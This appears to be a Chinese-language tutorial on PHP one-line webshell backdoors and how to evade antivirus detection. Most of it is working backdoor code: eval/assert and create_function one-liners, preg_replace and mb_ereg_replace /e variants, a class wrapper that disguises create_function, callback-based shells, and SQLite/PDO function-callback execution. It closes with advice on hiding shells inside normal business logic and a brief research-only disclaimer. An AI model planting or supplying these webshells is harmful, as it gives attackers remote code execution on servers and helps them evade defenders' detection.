php一句话后门学习(含免杀)
字数 842 2025-08-15 21:34:01
PHP一句话后门技术分析与免杀方法
一、基础一句话后门
1. eval和assert函数
<?php @eval($_POST['a']); ?>
<?php @assert($_POST['a']); ?>
特点:
- eval和assert在PHP5和PHP7中均可使用
- PHP7中assert不能拆分使用
- 传统且直接,但容易被检测
2. create_function函数
<?php $st=@create_function('',$_POST['a']);$st();?>
原理:
- 创建一个匿名函数,内部相当于执行eval
- PHP5和PHP7都可用
3. preg_replace函数(仅限PHP5)
<?php @preg_replace('/.*/e',$_POST['a'],'');?>
<?php @preg_filter('/.*/e',$_POST['a'],'');?>
特点:
- 使用/e修饰符执行代码
- 仅适用于PHP5环境
二、PHP7替代方案
1. mb_ereg_replace系列函数
<?php @mb_ereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mb_eregi_replace('.*',$_POST['a'],'','ee');?>
<?php @mbereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mberegi_replace('.*',$_POST['a'],'','ee');?>
特点:
- PHP7中仍可使用的/e修饰符替代方案
- mb_ereg_replace和mb_eregi_replace是主函数
- mbereg_replace和mberegi_replace是别名
三、免杀技术
1. 类封装方法
<?php
class create{
public $filter = ['q'=>'_function'];
public $value = '';
public function __construct(){
$this->value = $_POST['a'];
$name=get_class($this).$this->filter['q'];
$st=$name('',$this->value);
$st();
}
}
$a = new create();
?>
适用版本:
- PHP5.4.45至PHP7可用
- PHP5.3.29和5.2.17不可用
- PHP5建议使用assert拆分,PHP7建议使用create_function拆分
2. 回调函数技术
基础回调
<?php $_GET['a']($_GET['b']);?>
call_user_func系列
<?php call_user_func('assert', $_REQUEST['pass']); ?>
<?php call_user_func_array('assert', array($_REQUEST['pass'])); ?>
高级免杀回调
<?php filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); ?>
<?php filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert'))); ?>
<?php $e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['pass']); ?>
数据库扩展回调
PDO方式:
<?php
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
?>
SQLite3方式:
<?php
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();
?>
要求:
- PHP5.3以上版本
- 需要PDO或SQLite3扩展支持
四、使用建议
-
版本适配:
- PHP5环境:优先使用preg_replace/e或assert拆分
- PHP7环境:使用create_function或mb_ereg_replace系列
-
免杀策略:
- 使用类封装提高混淆度
- 优先使用回调函数方式
- 考虑使用数据库扩展方式增加检测难度
-
隐蔽性:
- 避免直接使用eval/assert
- 使用变量传递函数名
- 结合正常业务逻辑进行伪装
-
连接方式:
- 传统方式:
$_POST['a']作为代码执行 - 回调方式:通常需要两个参数,一个指定函数,一个传递代码
- 传统方式:
以上技术仅供安全研究使用,请勿用于非法用途。